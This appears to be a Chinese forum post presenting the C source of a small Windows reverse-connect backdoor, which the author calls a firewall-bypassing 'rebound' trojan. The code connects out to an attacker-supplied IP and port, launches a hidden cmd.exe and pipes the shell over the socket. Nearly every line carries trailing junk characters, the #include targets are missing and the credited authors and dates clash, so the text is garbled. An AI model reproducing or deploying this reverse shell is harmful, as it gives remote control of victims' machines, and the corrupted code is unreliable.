这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y)lYEhF
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/* ============================== .ww~'5b0
Rebound port in Windows NT 3g
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By wind,2006/7 41dB4Td5t
===============================*/ :QGgtTEV""
#include vVBu/)
#include ^qvN:v$1
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#pragma comment(lib,"wsock32.lib") xL&M8:
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void OutputShell(); ~?E.U,R
SOCKET sClient; \2]M&n GT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qD!qSM
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void main(int argc,char **argv) O1xK\ogv
{ Ww\M3Q`h
WSADATA stWsaData; bYt[/K,
int nRet; 0[E}[{t`
SOCKADDR_IN stSaiClient,stSaiServer; K;)(fc
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if(argc != 3) Q &~|P}
{ ! W2dMD/
printf("Useage:\n\rRebound DestIP DestPort\n"); A~0eJaq+
return; lFJDdf2:$C
} 'ip2| UG
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WSAStartup(MAKEWORD(2,2),&stWsaData); P]cC2L@Vbi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '/O >#1
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stSaiClient.sin_family = AF_INET; Z /G`8|A
stSaiClient.sin_port = htons(0); 8=kIN-l_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #X 1 GL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \P~h0zg?
{ \%BII>VS
printf("Bind Socket Failed!\n"); }o,-@R~
return; \k
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} +V
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stSaiServer.sin_family = AF_INET; j{&*]QTN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dQ#$(<v[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sx1w5rj.Y0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1RHFWK5Si
{
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printf("Connect Error!"); ngLpiU0H&
return; w#qE#g %1
} !94q F,#1
OutputShell(); nY M2Vxi0+
} z*,J0)<Q
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void OutputShell() m:-=K
{ }ebu@)r
char szBuff[1024]; [ikW3 '99,
SECURITY_ATTRIBUTES stSecurityAttributes; P!xN]or]u
OSVERSIONINFO stOsversionInfo; i&mt-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )i/x%^ca$
STARTUPINFO stStartupInfo; <rI8O;\H
char *szShell; C.`!?CW
PROCESS_INFORMATION stProcessInformation; *N65B#
unsigned long lBytesRead; r7FFZNs!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qbx}9pp}g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ioT+,li
stSecurityAttributes.lpSecurityDescriptor = 0; wG LSei-s
stSecurityAttributes.bInheritHandle = TRUE; CbW>yr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~{cG"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b=PB" -
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +yd{-iH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wX+KW0|>
stStartupInfo.wShowWindow = SW_HIDE; Uys[0n
stStartupInfo.hStdInput = hReadPipe; %X -G(Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O>,Rsj!e
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GetVersionEx(&stOsversionInfo); 3)*Twqt
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switch(stOsversionInfo.dwPlatformId) }. t8Cy9G
{ v|IG
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case 1: _1ax6MwX
szShell = "command.com"; >NJ`*M
break; $s<bKju
default: AGMrBd|J{
szShell = "cmd.exe"; .azA1@V|
break; M0K+Vz=
} _>u0vGF-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "w&G1kw5I
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send(sClient,szMsg,77,0); M32Z3<
while(1) l<-0@(x)
{ ov|/=bzro
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WUK{st.z
if(lBytesRead) aTFT'(O,
{ ^oXLk&d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oGKk2oP
send(sClient,szBuff,lBytesRead,0); L(`Rf0smt
} Dssecc'
else BvqypLI
{ k.6(Q_TS
lBytesRead=recv(sClient,szBuff,1024,0); i1^#TC$x
if(lBytesRead<=0) break; QLDld[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V9/P kuT
} v%8S:3
} ZIp"X
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return; q~6((pWi|
}